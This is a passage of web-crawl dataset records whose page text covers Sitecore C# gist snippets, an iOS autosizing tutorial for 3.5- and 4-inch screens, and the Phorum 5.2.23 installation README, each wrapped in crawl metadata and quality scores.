20108,
20109,
20469,
20470,
20507,
20508,
20639,
20640,
20659,
20660,
21171,
21172,
21194,
21195,
21450,
21451,
21488
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 21488,
"ccnet_original_nlines": 494,
"rps_doc_curly_bracket": 0.0004653799987863749,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2542213797569275,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.019934330135583878,
"rps_doc_frac_lines_end_with_ellipsis": 0.006060610059648752,
"rps_doc_frac_no_alph_words": 0.29174482822418213,
"rps_doc_frac_unique_words": 0.2495691031217575,
"rps_doc_mean_word_length": 5.695966720581055,
"rps_doc_num_sentences": 292,
"rps_doc_symbol_to_word_ratio": 0.0016416499856859446,
"rps_doc_unigram_entropy": 5.705958366394043,
"rps_doc_word_count": 2901,
"rps_doc_frac_chars_dupe_10grams": 0.12254901975393295,
"rps_doc_frac_chars_dupe_5grams": 0.23868313431739807,
"rps_doc_frac_chars_dupe_6grams": 0.1926289051771164,
"rps_doc_frac_chars_dupe_7grams": 0.15892036259174347,
"rps_doc_frac_chars_dupe_8grams": 0.15068991482257843,
"rps_doc_frac_chars_dupe_9grams": 0.12787461280822754,
"rps_doc_frac_chars_top_2gram": 0.010651170276105404,
"rps_doc_frac_chars_top_3gram": 0.007625270169228315,
"rps_doc_frac_chars_top_4gram": 0.013071900233626366,
"rps_doc_books_importance": -1975.5714111328125,
"rps_doc_books_importance_length_correction": -1975.5714111328125,
"rps_doc_openwebtext_importance": -894.0361328125,
"rps_doc_openwebtext_importance_length_correction": -894.0361328125,
"rps_doc_wikipedia_importance": -989.9224853515625,
"rps_doc_wikipedia_importance_length_correction": -989.9224853515625
},
"fasttext": {
"dclm": 0.039343539625406265,
"english": 0.7794289588928223,
"fineweb_edu_approx": 1.8994783163070679,
"eai_general_math": 0.09288995712995529,
"eai_open_web_math": 0.05551677942276001,
"eai_web_code": 0.5736667513847351
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.678",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.4",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-5,027,987,504,151,740,000 | Skip to content
Instantly share code, notes, and snippets.
SiteContext targetSiteContext = SiteContext.GetSite(sitename);
using (var context = new SiteContextSwitcher(targetSiteContext))
{
// do something on the new site context
Item myItem = context.Database.GetItem("ID");
}
public static class TemplateItemExtensions
{
public static IEnumerable<TemplateFieldItem> GetFieldsOfSelfAndBaseTemplates(this TemplateItem self)
{
var templateFieldItems = new Dictionary<ID, TemplateFieldItem>();
GetAllFieldsForTemplate(self, templateFieldItems);
return templateFieldItems.Values;
}
using Sitecore.Form.Core.Attributes;
using System;
using System.ComponentModel;
using System.Web.UI;
namespace CustomWFFM.CustomFieldTypes
{
[ValidationProperty("Text")]
public class SingleLineTextWithPlaceholderField : Sitecore.Form.Web.UI.Controls.SingleLineText
{
Template template = TemplateManager.GetTemplate(new ID(""), Sitecore.Context.Database);
TemplateField[] allFields = template.GetFields(true);
using System;
using System.Text.RegularExpressions;
using Sitecore.Data.Items;
using Sitecore.Diagnostics;
using Sitecore.Pipelines.ExpandInitialFieldValue;
namespace CustomExpandTokenProcessors.Pipelines
{
public class QueryTokenReplacer : ExpandInitialFieldValueProcessor
{
using System.ComponentModel;
using Sitecore.Data.Items;
namespace CustomWFFM.CustomFieldTypes.Mvc
{
public class SingleLineTextWithPlaceholderField : Sitecore.Forms.Mvc.Models.Fields.SingleLineTextField
{
[DefaultValue("")]
public string PlaceholderText { get; set; }
@using Sitecore.Mvc
@model CustomWFFM.CustomFieldTypes.Mvc.SingleLineTextWithPlaceholderField
@if (!Model.Visible)
{
return;
}
<div class="@Model.CssClass field-border">
using System.Linq;
using Sitecore.Configuration;
using Sitecore.Data.Items;
using Sitecore.Diagnostics;
using Sitecore.Pipelines.ExpandInitialFieldValue;
namespace CustomExpandTokenProcessors.Pipelines
{
public class NextSortOrderReplacer : ExpandInitialFieldValueProcessor
{
<?xml version="1.0" encoding="utf-8" ?>
<configuration xmlns:patch="http://www.sitecore.net/xmlconfig/">
<sitecore>
<pipelines>
<expandInitialFieldValue>
<processor type="CustomExpandTokenProcessors.Pipelines.MyCustomTokenReplacer, CustomExpandTokenProcessors" patch:after="processor[@type='type=Sitecore.Pipelines.ExpandInitialFieldValue.ReplaceVariables, Sitecore.Kernel']"/>
</expandInitialFieldValue>
</pipelines>
</sitecore>
</configuration>
using Sitecore.Diagnostics;
using Sitecore.Pipelines.ExpandInitialFieldValue;
namespace CustomExpandTokenProcessors.Pipelines
{
public class CustomTokenReplacer : ExpandInitialFieldValueProcessor
{
private const string Token = "$customtoken";
public override void Process(ExpandInitialFieldValueArgs args) | {
"url": "https://gist.github.com/soen?direction=asc&sort=created",
"source_domain": "gist.github.com",
"snapshot_id": "CC-MAIN-2024-22",
"warc_metadata": {
"Content-Length": "167347",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:QE75OZ4YKBHF2YFYDPCLTQCZKO7RPBQH",
"WARC-Concurrent-To": "<urn:uuid:799a8fe2-8477-48d6-885a-c773093cbb31>",
"WARC-Date": "2024-05-29T07:09:28Z",
"WARC-IP-Address": "140.82.112.3",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:ANBDTAVUGXN2QZBCDBGNOQKYWX52PA3L",
"WARC-Record-ID": "<urn:uuid:cea280c0-985c-4f04-848f-440d922a27aa>",
"WARC-Target-URI": "https://gist.github.com/soen?direction=asc&sort=created",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:43988edc-98d9-4ea2-890d-0cb3845dd8bd>"
},
"warc_info": "isPartOf: CC-MAIN-2024-22\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-96\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
16,
17,
60,
61,
124,
189,
191,
231,
277,
279,
322,
324,
425,
427,
493,
544,
578,
580,
617,
631,
660,
681,
719,
721,
750,
845,
847,
935,
989,
1003,
1041,
1068,
1096,
1146,
1194,
1196,
1263,
1265,
1294,
1321,
1363,
1365,
1468,
1470,
1489,
1533,
1553,
1627,
1648,
1650,
1658,
1660,
1703,
1722,
1752,
1779,
1807,
1857,
1905,
1907,
1977,
1979,
2019,
2084,
2095,
2107,
2133,
2357,
2384,
2397,
2409,
2426,
2454,
2504,
2552,
2554,
2622,
2624,
2669
],
"line_end_idx": [
16,
17,
60,
61,
124,
189,
191,
231,
277,
279,
322,
324,
425,
427,
493,
544,
578,
580,
617,
631,
660,
681,
719,
721,
750,
845,
847,
935,
989,
1003,
1041,
1068,
1096,
1146,
1194,
1196,
1263,
1265,
1294,
1321,
1363,
1365,
1468,
1470,
1489,
1533,
1553,
1627,
1648,
1650,
1658,
1660,
1703,
1722,
1752,
1779,
1807,
1857,
1905,
1907,
1977,
1979,
2019,
2084,
2095,
2107,
2133,
2357,
2384,
2397,
2409,
2426,
2454,
2504,
2552,
2554,
2622,
2624,
2669,
2731
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2731,
"ccnet_original_nlines": 79,
"rps_doc_curly_bracket": 0.006957159843295813,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.07894737273454666,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.010964909568428993,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.44736841320991516,
"rps_doc_frac_unique_words": 0.6219512224197388,
"rps_doc_mean_word_length": 13.908536911010742,
"rps_doc_num_sentences": 70,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.260411739349365,
"rps_doc_word_count": 164,
"rps_doc_frac_chars_dupe_10grams": 0.12889084219932556,
"rps_doc_frac_chars_dupe_5grams": 0.1836913526058197,
"rps_doc_frac_chars_dupe_6grams": 0.1836913526058197,
"rps_doc_frac_chars_dupe_7grams": 0.1836913526058197,
"rps_doc_frac_chars_dupe_8grams": 0.1836913526058197,
"rps_doc_frac_chars_dupe_9grams": 0.12889084219932556,
"rps_doc_frac_chars_top_2gram": 0.02411223016679287,
"rps_doc_frac_chars_top_3gram": 0.038141168653964996,
"rps_doc_frac_chars_top_4gram": 0.09074967354536057,
"rps_doc_books_importance": -222.34584045410156,
"rps_doc_books_importance_length_correction": -222.34584045410156,
"rps_doc_openwebtext_importance": -150.0404052734375,
"rps_doc_openwebtext_importance_length_correction": -150.0404052734375,
"rps_doc_wikipedia_importance": -99.2376708984375,
"rps_doc_wikipedia_importance_length_correction": -99.2376708984375
},
"fasttext": {
"dclm": 0.9353082776069641,
"english": 0.2610594630241394,
"fineweb_edu_approx": 3.501915693283081,
"eai_general_math": 0.8766636848449707,
"eai_open_web_math": 0.011208119802176952,
"eai_web_code": 0.600587010383606
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.4",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "1",
"label": "Leftover HTML"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-4,966,556,514,783,449,000 | Thursday, May 9, 2013
3.5 and 4-Inch Screen Compatible
Now that iPhone 5 is in the market, we have to make sure that our apps are compatible to both 3.5-inch screens and 4-inch screens.
That's easy!
Just check the "Use Autolayout" in our Interface Builder and it will automatically make our 3.5-inch screens compatible to 4-inch screens.
Now, wait!
"Use Autolayout" is useful if the minimum OS requirement is iOS 6 and up. What if your application's minimum OS requirement is, for example, iOS 4.3 and up? You can't use the "Use Autolayout" because your app will definitely crash if you run it in <iOS 6 devices (even in your simulator).
This is what will happen if you use Autolayout and you're running your app in < i0S 6
The Good News is we have a simple solution for that!
1. First, I created a simple "Single View Application" project. View size is set to Retina 3.5 Full Screen.
Here's how my simple app looks like. No functions, just a simple user interface. We expect that what we see in our Interface Builder, that's what it should also look like when we run it in 3.5-inch screens.
2. Change the Device from 3.5-inch to 4-inch. Make sure that you're in the menu of the iOS Simulator.
If you run the app again in 4-inch screen, this is how it will look like. Everything looks sort of okay. Some of you might really find your UI not in their right places when you run it in a 4-inch screen.
3. Go back to your project and click the view and look for the "Autosizing" function (violet box).
If you can't find the "Autosizing" function and you find this instead (Content Hugging Priority, Constratins, etc)
Go to the first tab of the "Utilities Area" (Right panel) and UNcheck the "Use Autolayout".
Once done unchecking the "Use Autolayout," you should be able to see the Autosizing function on the fifth tab.
Now, we're ready...
4. Click the View and change the Autosizing such that it will look like this. Tap or click all the vertical and horizontal lines in the inner and outer area of the box.
This means that we want our view to extend or expand its width and height depending on the size of the screen.
5. Next, click the Navigation Bar at the top with the segment control.
This means that we want our Navigation Bar to stick on top and extend its width depending on size of screen. We don't, or rather, we can't tap the inner vertical line of the box.. that means that we cannot change the height of the navigation bar. (And this is true since the height of the NavBar will always be 44.)
6. Same goes for the Label "Great Day," we want it to stick on top of the screen and extend its width depending on the size of the screen.
7. Next, tap the UIImageView.
The Autosizing means that we want our UIImageView to expand its width and height while still sticking on the top. The left and right lines (outer area of the box) means that the UIImageView will be at the middle of the view.
8. For the two buttons, we want them to be at the bottom always, so...
9. Run your application again both in 3.5inch screens and 4-inch screens.
//4-inch Screen //3.5-inch Screen
Done!
8 comments: | {
"url": "http://iosmadesimple.blogspot.com/2013/05/35-and-4-inch-screen-compatible.html",
"source_domain": "iosmadesimple.blogspot.com",
"snapshot_id": "crawl=CC-MAIN-2017-26",
"warc_metadata": {
"Content-Length": "78489",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:X3YIKONASX2NEH46OABDBIVQMOHZA7DY",
"WARC-Concurrent-To": "<urn:uuid:a40fc8cd-e2d5-430f-8009-ca67b2a1acee>",
"WARC-Date": "2017-06-27T01:46:56Z",
"WARC-IP-Address": "216.58.217.65",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:SRZMWLGWWXQ5R4JVTFXMHGPD2VZ2TU4O",
"WARC-Record-ID": "<urn:uuid:6a738601-9d06-4f62-a980-b72b48ae40b6>",
"WARC-Target-URI": "http://iosmadesimple.blogspot.com/2013/05/35-and-4-inch-screen-compatible.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:65b1afad-6201-417e-b7fe-748a9cd5722e>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-166-41-113.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-26\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for June 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
22,
23,
56,
57,
188,
189,
203,
204,
343,
344,
355,
356,
645,
732,
733,
786,
787,
895,
896,
1103,
1104,
1105,
1207,
1208,
1413,
1414,
1513,
1628,
1629,
1722,
1723,
1834,
1835,
1855,
1856,
2025,
2136,
2137,
2208,
2524,
2525,
2664,
2665,
2695,
2920,
2921,
2992,
2993,
2994,
3068,
3151,
3152,
3153,
3159,
3160,
3161,
3162
],
"line_end_idx": [
22,
23,
56,
57,
188,
189,
203,
204,
343,
344,
355,
356,
645,
732,
733,
786,
787,
895,
896,
1103,
1104,
1105,
1207,
1208,
1413,
1414,
1513,
1628,
1629,
1722,
1723,
1834,
1835,
1855,
1856,
2025,
2136,
2137,
2208,
2524,
2525,
2664,
2665,
2695,
2920,
2921,
2992,
2993,
2994,
3068,
3151,
3152,
3153,
3159,
3160,
3161,
3162,
3173
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3173,
"ccnet_original_nlines": 57,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.4160982370376587,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.005457030143588781,
"rps_doc_frac_lines_end_with_ellipsis": 0.03448275849223137,
"rps_doc_frac_no_alph_words": 0.23601636290550232,
"rps_doc_frac_unique_words": 0.3550087809562683,
"rps_doc_mean_word_length": 4.182776927947998,
"rps_doc_num_sentences": 56,
"rps_doc_symbol_to_word_ratio": 0.0027285099495202303,
"rps_doc_unigram_entropy": 4.788660526275635,
"rps_doc_word_count": 569,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.12647059559822083,
"rps_doc_frac_chars_dupe_6grams": 0.061764709651470184,
"rps_doc_frac_chars_dupe_7grams": 0.024369750171899796,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.02310924045741558,
"rps_doc_frac_chars_top_3gram": 0.02689076028764248,
"rps_doc_frac_chars_top_4gram": 0.018907560035586357,
"rps_doc_books_importance": -385.6897888183594,
"rps_doc_books_importance_length_correction": -385.6897888183594,
"rps_doc_openwebtext_importance": -255.33181762695312,
"rps_doc_openwebtext_importance_length_correction": -255.33181762695312,
"rps_doc_wikipedia_importance": -198.58607482910156,
"rps_doc_wikipedia_importance_length_correction": -198.58607482910156
},
"fasttext": {
"dclm": 0.1192886233329773,
"english": 0.9015316367149353,
"fineweb_edu_approx": 1.4974985122680664,
"eai_general_math": 0.15058499574661255,
"eai_open_web_math": 0.3793710470199585,
"eai_web_code": 0.9872238636016846
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.0285",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
6,718,903,973,798,665,000 | phorum 5.2.23
About: Phorum is a "classical" web based discussion software written in PHP (using MySQL or PostgreSQL database).
Fossies Dox: phorum-5.2.23.tar.gz ("unofficial" and yet experimental doxygen-generated source code documentation)
Loading...
Searching...
No Matches
phorum Documentation
Some Fossies usage hints in advance:
1. To see the Doxygen generated documentation please click on one of the items in the steelblue colored "quick index" bar above or use the side panel at the left which displays a hierarchical tree-like index structure and is adjustable in width.
2. If you want to search for something by keyword rather than browse for it you can use the client side search facility (using Javascript and DHTML) that provides live searching, i.e. the search results are presented and adapted as you type in the Search input field at the top right.
3. Doxygen doesn't incorporate all member files but just a definable subset (basically the main project source code files that are written in a supported language). So to search and browse all member files you may visit the Fossies phorum-5.2.23.tar.gz contents page and use the Fossies standard member browsing features (also with source code highlighting and additionally with optional code folding).
README.md
Phorum Core
Build Status
Phorum 5 Installation instructions
Contents:
1. Requirements
2. Quickstart guide
3. Detailed installation instructions 3.1 Download Phorum 3.2 Unpack the downloaded archive 3.3 Place the Phorum files in your website's document root 3.4 Create a database and a database user 3.5 Configure the database access 3.6 Run the web based installer 3.7 Things to do after installing Phorum
4. Additional issues 4.1 Additional issues for UNIX (Linux, BSD, Solaris, etc.) 4.1.2 Cache directory 4.2 Additional issues for Windows 4.2.1 Cache directory 4.2.2 Problems sending mail to end-users 4.2.3 Date formatting
5. Support
6. Requirements
Requirements for running Phorum are:
• A webserver
• PHP, version 5 or above.
PHP4 is over 5 years old. As of Phorum 5.2 there are some functions used in Phorum which require PHP5 as they didn't exist before. Therefor PHP5 is a requirement now.
• A MySQL server, version 5 or above.
MySQL has discontinued active development for all version below 5.0. The Phorum teams uses 5.0 for all development. MySQL 5.0.15 was the first production release of the 5.0 branch. Since the first release of Phorum 5.2 we were only testing against MySQL-5 but weren explicitly using MySQL-4 incompatible queries. As of Phorum 5.2.14 there were changes needed to make Phorum work with more recent MySQL versions and therefore MySQL-5 or higher is a requirement now.
If you do not run your own website, but have hosted your website with a hosting provider, then please ask your hosting provider if your account meets these requirements.
1. Quickstart guide:
This is the quickstart guide for installing Phorum, aimed at people that are used to working with websites, PHP and databases. If you are having problems following this guide, then please read chapter 3 instead.
1. Unpack Phorum into a directory below your website's document root;
2. Create a database and a full-access database user for that database;
3. Edit include/config/database.php.sample, save it as include/config/database.php;
4. Open {phorum url}/admin.php in your web browser and finish the install.
5. Detailed installation instructions
3.1 Download Phorum
If you haven't already done so, download the latest Phorum distribution from http://phorum.org/downloads.php
3.2 Unpack the downloaded archive
From Windows:
If you have downloaded the .zip file, you can extract the files from that archive directly using Windows XP's zipfile support. If you downloaded the .tar.gz file, you will have to download an appropriate tool for unpacking, e.g. WinZip (http://www.winzip.com/).
From UNIX:
If you have access to a UNIX shell, you can unpack the .tar.gz archive using the following command:
shell> tar xvzf phorum-x.y.z.tar.gz
Or if the tar program on your system does not support the -z flag:
shell> gunzip phorum-x-y-z.tar.gz shell> tar xvf phorum-x.y.z.tar
3.3 Place the Phorum files in your website's document root
The document root for a website is the directory in which your site's web pages are stored. If your website's URL is "http://www.example.com" and you place the Phorum files in a directory called "forum" inside your document root, your Phorum installation will be available at the URL "http://www.example.com/forum". From now on, we will name this URL simply {phorum url}. So if you see {phorum url}/admin.php, using the example we mean http://www.example.com/forum/admin.php
If the webserver is running on the same system as where you have unpacked the downloaded archive, you can move the unpacked files to your website's document root.
If the webserver is running on another system, you will have to upload the files to your website's document root. In most cases, you will use FTP for this, but some hosting providers require SCP (secure copy, which is more secure than FTP). If you do not know how or where to upload the Phorum files, please contact your hosting provider.
Security note: (simply ignore this if it does not make sense to you) There are software packages that require you to make files writable for the webserver (using the infamous "chmod 777"). DO NOT DO THIS FOR ANY OF THE PHORUM FILES. The webserver only needs read access on the distribution files, because all dynamic data is stored in the database. If you run into problems running Phorum, it will never be because you "forgot" to do "chmod 777" on any the Phorum files.
3.4 Create a database and a database user
Phorum stores all its data in a database. So you now need to create a database. Officially, only the MySQL database server is supported by Phorum, so we recommend to use MySQL whenever possible.
If you have hosted your site with a hosting provider, then ask your hosting provider to setup the database and a full access database user for you.
If you run your own database server, then you will have to create the database and the user yourself. If you are using a control panel, like phpmyadmin, then use that control panel to create them. Else, you can use the mysql prompt to create the database by issuing commands like:
mysql> CREATE DATABASE phorum; mysql> GRANT ALL ON phorum.* TO 'user'@'localhost' IDENTIFIED BY 'password';
Of course, for security reasons you would use your own user and password instead.
If you are unsure how to create a database and a database user, please refer to your system documentation.
3.5 Configure the database access
After setting up the database, you'll have to tell Phorum how the database can be accessed. This configuration is put in the file include/config/database.php inside your Phorum directory. This file is not in the distribution. Only a differently named sample file is included.
First, copy or rename the file "include/config/database.php.sample" to "include/config/database.php". Now edit the database.php file to match the access settings for the database that was created in step 4.
If you run your website on a remote server, then either edit the database.php file directly on that server (e.g. through a UNIX prompt) or upload the file to the correct location after editing it locally.
3.6 Run the web based installer
Now all is in place to run Phorum's installer script. Open {phorum url}/admin.php using your web browser. This is the admin interface, which will automatically detect that a fresh install has to be performed.
Follow the instructions on screen to finish the Phorum installation.
In case you do not see the installer, but a blank screen instead, something is wrong. Please check the following:
• Does the PHP installation include support your database server? If the PHP installation is lacking support, it will not be able to connect to the database. If you are running your website with a hosting provider, then ask your provider;
• Is there a typo in include/config/database.php? A typo might crash PHP. If you have access to your server's error logging, then please check for errors in there. You could ask your provider to look at the error log, in case you have no direct access to it;
• Did all files get uploaded and was filename case properly preserved by your FTP client? There are some FTP clients which upload all files using lower case only. Check whether the files include/admin/PhorumAdminMenu.php and include/admin/PhorumInputForm.php are uploaded, using exactly these names and not something like include/admin/phorumadminmenu.php for example.
3.7 Things to do after installing Phorum
Now the installation is complete, test if the forum is working correctly by opening {phorum url} in your web browser. If you run into problems, please go to {forum url}/admin.php and click on "System Sanity Checks" in the menu. This page will perform a couple of system checks to rule out some basic problems. If problems are found, please follow the instructions from the sanity checks page to solve them.
Login into the admin interface at {phorum url}/admin.php and check out what settings can be done to customize Phorum to your likings.
Customize the looks of Phorum to your needs by creating a custom template. Instructions can be found in docs/creating_templates.txt.
Read the additional issues for your system (below), docs/faq.txt and any other files in the docs dir that may help you.
1. Additional issues
4.1 Additional issues for UNIX (Linux, BSD, Solaris, etc.)
4.1.2 Cache directory
In step 5 above (Edit Settings) There is an entry called Cache Directory. the installer should set that to /tmp if you appear to be running a *nix system. This will keep compiled PHP versions of your templates in /tmp. You can change the cache dir if you do not want to have your files sitting in /tmp on the server or if you see error messages like:
Warning: fopen(/tmp/tpl-default-header-a72fb9dd20915e5953aa9b07d3eb3871.php): failed to open stream: Permission denied in ...
If you change the the Cache Directory, the best bet is to set it to ./cache and make that dir (that is already there in the Phorum dir) writable by the web server. Most likely this means making it world writeable (chmod 777). If you do not have access to the shell prompt of the server and are using only FTP to access the server, please see your FTP client's help on setting the permissions for a directory.
4.2 Additional issues for Windows
4.2.1 Cache directory
In step 5 above (Edit Settings) There is an entry called Cache Directory. The installer should set that to C:\Windows\Temp, if it can detect you are using Windows. This should work for most modern Windows versions. If it does not, you will see error messages like:
Warning: fopen(c:\windows\temp\tpl-default-header-a72fb9dd209153aa9b07d3eb3871.php): failed to open stream: Permission denied in ...
You will need to change the Cache Directory. The Phorum team is not very familiar with Windows as a web server platform. We can only tell you that it will need to be something that the web server can write to. Changing the Cache Directory to ./cache has worked for some.
4.2.2 Problems sending mail to end-users
PHP has to be configured correctly on Windows systems to be able to send out mail. If this is not done, you might get errors and mail will not arrive. What you need to do is edit the file "php.ini" (this file holds the configuration for PHP). Find the section that is called "[mail function]". In this section, set the parameter "SMTP" to the hostname or IP-address of the your SMTP server. If you do not know your SMTP server, please ask your internet access provider. After this, PHP will know what mailserver to use for sending out mail messages.
If you have no access to the php.ini file and the system administrator is not willing to update it for you, you will have to install the SMTP module for Phorum. You can download this module from the module page: http://phorum.org/cgi-bin/trac.cgi/wiki/ListOfModules In the settings for this module, you can specify the SMTP server to use for sending mail. When using this module, you will completely bypass PHP's builtin mail system.
4.2.3 Date formatting
Windows does not support the date formatting function strftime() fully. If your dates are not showing correctly, you have to edit your language file ({phorum dir}/include/lang/.php) and change the definitions for $PHORUM['long_date'] and $PHORUM['short_date'] in there to something that will work for your system. We suggest using the following definitions:
$PHORUM['long_date']="%B %d, %Y %I:%M%p";
$PHORUM['short_date']="%m/%d/%Y %I:%M%p";
Go to http://www.php.net/strftime for information on all available formatting options as well as the formats that Windows does not support.
1. Support
If you have questions about installing Phorum, please visit the website http://phorum.org/ and ask the development team for help in the Support forum. Also read the file docs/faq.txt for answers to the most common questions. | {
"url": "https://fossies.org/dox/phorum-5.2.23/",
"source_domain": "fossies.org",
"snapshot_id": "CC-MAIN-2024-10",
"warc_metadata": {
"Content-Length": "20899",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:OHYZR75XMB7QCT5SW3DZB65NEHNNJXYE",
"WARC-Concurrent-To": "<urn:uuid:5818516f-0153-4cb2-a43f-39c93df196b1>",
"WARC-Date": "2024-02-23T01:28:58Z",
"WARC-IP-Address": "148.251.50.230",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:KR4J3TVIF4EJWUUUJZHHFNTFHTHGARWL",
"WARC-Record-ID": "<urn:uuid:8e726795-a6cf-4571-a950-6c98576ef233>",
"WARC-Target-URI": "https://fossies.org/dox/phorum-5.2.23/",
"WARC-Truncated": null,
"WARC-Type": "response",
